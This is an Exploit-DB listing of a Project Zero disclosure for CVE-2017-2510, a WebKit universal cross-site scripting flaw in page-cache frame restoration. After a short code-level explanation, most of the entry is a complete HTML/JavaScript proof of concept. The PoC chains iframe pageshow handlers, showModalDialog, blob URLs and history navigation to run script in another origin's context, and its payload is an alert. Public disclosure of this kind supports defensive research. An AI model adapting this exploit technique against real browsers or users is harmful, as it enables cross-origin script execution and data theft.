EDB-ID: 42067 | Author: Google Security Research | Published: 2017-05-25 | CVE: CVE-2017-2510 | Type: Webapps | Platform: Multiple | Aliases: N/A | Advisory/Source: Link | Tags: Cross-Site Scripting (XSS) | Vulnerable App: N/A | Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1151
Here is a snippet of CachedFrameBase::restore which is invoked when cached frames are restored.
void CachedFrameBase::restore()
{
...
for (auto& childFrame : m_childFrames) {
ASSERT(childFrame->view()->frame().page());
frame.tree().appendChild(childFrame->view()->frame());
childFrame->open(); <----- (a)
}
...
// FIXME: update Page Visibility state here.
// https://bugs.webkit.org/show_bug.cgi?id=116770
m_document->enqueuePageshowEvent(PageshowEventPersisted);
HistoryItem* historyItem = frame.loader().history().currentItem();
if (historyItem && historyItem->stateObject())
m_document->enqueuePopstateEvent(historyItem->stateObject());
frame.view()->didRestoreFromPageCache();
}
enqueuePageshowEvent and enqueuePopstateEvent are named "enqueue*", but actually those *dispatch* window events that may fire JavaScript handlers synchronously.
At (a), |open| method may invoke |CachedFrameBase::restore| method again. Thus, the parent frame's document may be replaced while |open| is called in the iteration, the next child frame is attached to the parent frame holding the replaced document.
PoC:
-->
<html>
<body>
<script>
function createURL(data, type = 'text/html') {
return URL.createObjectURL(new Blob([data], {type: type}));
}
function navigate(w, url) {
let a = w.document.createElement('a');
a.href = url;
a.click();
}
function main() {
let i0 = document.body.appendChild(document.createElement('iframe'));
let i1 = document.body.appendChild(document.createElement('iframe'));
i0.contentWindow.onpageshow = () => {
navigate(window, 'https://abc.xyz/');
showModalDialog(createURL(`
<script>
let it = setInterval(() => {
try {
opener.document.x;
} catch (e) {
clearInterval(it);
window.close();
}
}, 10);
</scrip` + 't>'));
};
i1.contentWindow.onpageshow = () => {
i1.srcdoc = '<script>alert(parent.location);</scrip' + 't>';
navigate(i1.contentWindow, 'about:srcdoc');
};
navigate(window, createURL(`<html><head></head><body>Click anywhere<script>
window.onclick = () => {
window.onclick = null;
history.back();
};
</scrip` + `t></body></html>`));
}
window.onload = () => {
setTimeout(main, 0);
};
</script>
</body>
</html>
